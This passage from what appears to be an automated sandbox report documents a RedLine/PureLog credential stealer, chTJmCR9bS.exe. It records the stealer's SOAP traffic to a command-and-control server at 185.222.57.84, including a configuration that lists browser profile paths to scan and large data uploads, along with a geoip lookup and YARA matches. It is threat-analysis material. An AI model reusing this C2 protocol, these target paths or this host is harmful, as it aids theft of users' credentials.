                                                                                                                                                  Jan 19, 2025 13:02:24.115962982 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.115974903 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.115987062 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.115999937 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116014004 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116027117 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116039991 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116051912 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116064072 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116077900 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116091013 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116101980 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116115093 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116127014 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116138935 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116151094 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116163015 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116174936 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116188049 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116200924 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116213083 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116225004 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116239071 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116261005 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116275072 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116287947 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116300106 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116312981 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116324902 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116338015 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116349936 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116363049 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116374969 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116386890 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116399050 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116410971 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116422892 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116436005 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116447926 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116460085 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116472006 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116483927 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116497040 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116508961 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116513968 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116518974 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116529942 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116544008 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116563082 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116575003 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116586924 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116600037 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116612911 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116626024 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116637945 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116650105 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116662979 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116674900 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116687059 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116699934 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116713047 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116724968 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116736889 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116750002 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116760969 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116774082 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116786003 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116796970 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116808891 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116821051 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116832972 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116844893 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.116869926 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:24.156306028 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:25.101660013 CET5561549745185.222.57.84192.168.2.4
                                                                                                                                                  Jan 19, 2025 13:02:25.116134882 CET4974455615192.168.2.4185.222.57.84
                                                                                                                                                  Jan 19, 2025 13:02:25.116924047 CET4974555615192.168.2.4185.222.57.84

                                                                                                                                                  UDP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Jan 19, 2025 13:02:19.816606998 CET5735453192.168.2.41.1.1.1

                                                                                                                                                  DNS Queries

                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                  Jan 19, 2025 13:02:19.816606998 CET192.168.2.41.1.1.10xd50Standard query (0)api.ip.sbA (IP address)IN (0x0001)false

                                                                                                                                                  DNS Answers

                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                  Jan 19, 2025 13:02:19.830169916 CET1.1.1.1192.168.2.40xd50No error (0)api.ip.sbapi.ip.sb.cdn.cloudflare.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                  Jan 19, 2025 13:02:19.830169916 CET1.1.1.1192.168.2.40xd50No error (0)api.ip.sb.cdn.cloudflare.net104.26.12.31A (IP address)IN (0x0001)false
                                                                                                                                                  Jan 19, 2025 13:02:19.830169916 CET1.1.1.1192.168.2.40xd50No error (0)api.ip.sb.cdn.cloudflare.net104.26.13.31A (IP address)IN (0x0001)false
                                                                                                                                                  Jan 19, 2025 13:02:19.830169916 CET1.1.1.1192.168.2.40xd50No error (0)api.ip.sb.cdn.cloudflare.net172.67.75.172A (IP address)IN (0x0001)false

                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                  • api.ip.sb
                                                                                                                                                  • 185.222.57.84:55615

                                                                                                                                                  HTTP Packets

                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                  0192.168.2.449741185.222.57.84556157572C:\Users\user\Desktop\chTJmCR9bS.exe
                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                  Jan 19, 2025 13:02:13.854244947 CET240OUTPOST / HTTP/1.1
                                                                                                                                                  Content-Type: text/xml; charset=utf-8
                                                                                                                                                  SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                  Host: 185.222.57.84:55615
                                                                                                                                                  Content-Length: 137
                                                                                                                                                  Expect: 100-continue
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  Jan 19, 2025 13:02:14.438488007 CET359INHTTP/1.1 200 OK
                                                                                                                                                  Content-Length: 212
                                                                                                                                                  Content-Type: text/xml; charset=utf-8
                                                                                                                                                  Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                  Date: Sun, 19 Jan 2025 12:02:10 GMT
                                                                                                                                                  Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e
                                                                                                                                                  Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
                                                                                                                                                  Jan 19, 2025 13:02:19.511054993 CET223OUTPOST / HTTP/1.1
                                                                                                                                                  Content-Type: text/xml; charset=utf-8
                                                                                                                                                  SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                  Host: 185.222.57.84:55615
                                                                                                                                                  Content-Length: 144
                                                                                                                                                  Expect: 100-continue
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  Jan 19, 2025 13:02:19.681185007 CET25INHTTP/1.1 100 Continue
                                                                                                                                                  Jan 19, 2025 13:02:19.777754068 CET1236INHTTP/1.1 200 OK
                                                                                                                                                  Content-Length: 4744
                                                                                                                                                  Content-Type: text/xml; charset=utf-8
                                                                                                                                                  Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                  Date: Sun, 19 Jan 2025 12:02:14 GMT
                                                                                                                                                  Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED]
                                                                                                                                                  Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                  1192.168.2.449744185.222.57.84556157572C:\Users\user\Desktop\chTJmCR9bS.exe
                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                  Jan 19, 2025 13:02:22.104007006 CET221OUTPOST / HTTP/1.1
                                                                                                                                                  Content-Type: text/xml; charset=utf-8
                                                                                                                                                  SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"
                                                                                                                                                  Host: 185.222.57.84:55615
                                                                                                                                                  Content-Length: 927735
                                                                                                                                                  Expect: 100-continue
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  Jan 19, 2025 13:02:23.623109102 CET294INHTTP/1.1 200 OK
                                                                                                                                                  Content-Length: 147
                                                                                                                                                  Content-Type: text/xml; charset=utf-8
                                                                                                                                                  Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                  Date: Sun, 19 Jan 2025 12:02:19 GMT
                                                                                                                                                  Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e
                                                                                                                                                  Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                  2192.168.2.449745185.222.57.84556157572C:\Users\user\Desktop\chTJmCR9bS.exe
                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                  Jan 19, 2025 13:02:23.634335995 CET241OUTPOST / HTTP/1.1
                                                                                                                                                  Content-Type: text/xml; charset=utf-8
                                                                                                                                                  SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"
                                                                                                                                                  Host: 185.222.57.84:55615
                                                                                                                                                  Content-Length: 927727
                                                                                                                                                  Expect: 100-continue
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  Jan 19, 2025 13:02:25.101660013 CET408INHTTP/1.1 200 OK
                                                                                                                                                  Content-Length: 261
                                                                                                                                                  Content-Type: text/xml; charset=utf-8
                                                                                                                                                  Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                  Date: Sun, 19 Jan 2025 12:02:21 GMT
                                                                                                                                                  Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e
                                                                                                                                                  Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>


                                                                                                                                                  HTTPS Proxied Packets

                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                  0192.168.2.449743104.26.12.314437572C:\Users\user\Desktop\chTJmCR9bS.exe
                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                  2025-01-19 12:02:20 UTC64OUTGET /geoip HTTP/1.1
                                                                                                                                                  Host: api.ip.sb
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2025-01-19 12:02:20 UTC943INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 19 Jan 2025 12:02:20 GMT
                                                                                                                                                  Content-Type: application/json; charset=utf-8
                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                  Connection: close
                                                                                                                                                  vary: Accept-Encoding
                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                  access-control-allow-origin: *
                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B7Gh%2FUmAm4JrkpV9eKMm7mFIcA%2BYPo0CJkLPoskI%2FjHOFg8xmAzOHVKNgdh6i8%2FkQ90M8U5scAjfENDtftn29una8t1rAygaHKNl3dLWeofEHRYrt3HFusiq4Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                  Server: cloudflare
                                                                                                                                                  CF-RAY: 9046acdd88d280dc-EWR
                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1518&min_rtt=1512&rtt_var=579&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2806&recv_bytes=678&delivery_rate=1869398&cwnd=152&unsent_bytes=0&cid=5b7701b53ca299ed&ts=425&x=0"
                                                                                                                                                  2025-01-19 12:02:20 UTC351INData Raw: 31 35 38 0d 0a 7b 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 36 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 22 2c 22 6f 66 66 73 65 74 22 3a 2d 31 38 30 30 30 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 61 73 6e 5f 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65
                                                                                                                                                  Data Ascii: 158{"organization":"CenturyLink","longitude":-74.0066,"city":"New York","timezone":"America\/New_York","isp":"CenturyLink","offset":-18000,"region":"New York","asn":3356,"asn_organization":"LEVEL3","country":"United States","ip":"8.46.123.189","latitude
                                                                                                                                                  2025-01-19 12:02:20 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                  Data Ascii: 0


                                                                                                                                                  Statistics

                                                                                                                                                  CPU Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  Memory Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                  Behavior

                                                                                                                                                  Click to jump to process

                                                                                                                                                  System Behavior

                                                                                                                                                  General

                                                                                                                                                  Target ID:0
                                                                                                                                                  Start time:07:02:07
                                                                                                                                                  Start date:19/01/2025
                                                                                                                                                  Path:C:\Users\user\Desktop\chTJmCR9bS.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:"C:\Users\user\Desktop\chTJmCR9bS.exe"
                                                                                                                                                  Imagebase:0xe30000
                                                                                                                                                  File size:582'144 bytes
                                                                                                                                                  MD5 hash:963F526636C53E9ECF5AF8025E0DACA0
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Yara matches:
                                                                                                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1826964666.0000000005CD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                  • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                  • Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                  • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                  • Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1823596554.000000000343E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                  Reputation:low
                                                                                                                                                  Has exited:true

                                                                                                                                                  General

                                                                                                                                                  Target ID:2
                                                                                                                                                  Start time:07:02:11
                                                                                                                                                  Start date:19/01/2025
                                                                                                                                                  Path:C:\Users\user\Desktop\chTJmCR9bS.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:"C:\Users\user\Desktop\chTJmCR9bS.exe"
                                                                                                                                                  Imagebase:0xf90000
                                                                                                                                                  File size:582'144 bytes
                                                                                                                                                  MD5 hash:963F526636C53E9ECF5AF8025E0DACA0
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Yara matches:
                                                                                                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                  • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                  • Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                  Reputation:low
                                                                                                                                                  Has exited:true

                                                                                                                                                  General

                                                                                                                                                  Target ID:3
                                                                                                                                                  Start time:07:02:11
                                                                                                                                                  Start date:19/01/2025
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high
                                                                                                                                                  Has exited:true

                                                                                                                                                  Disassembly

                                                                                                                                                  Reset < >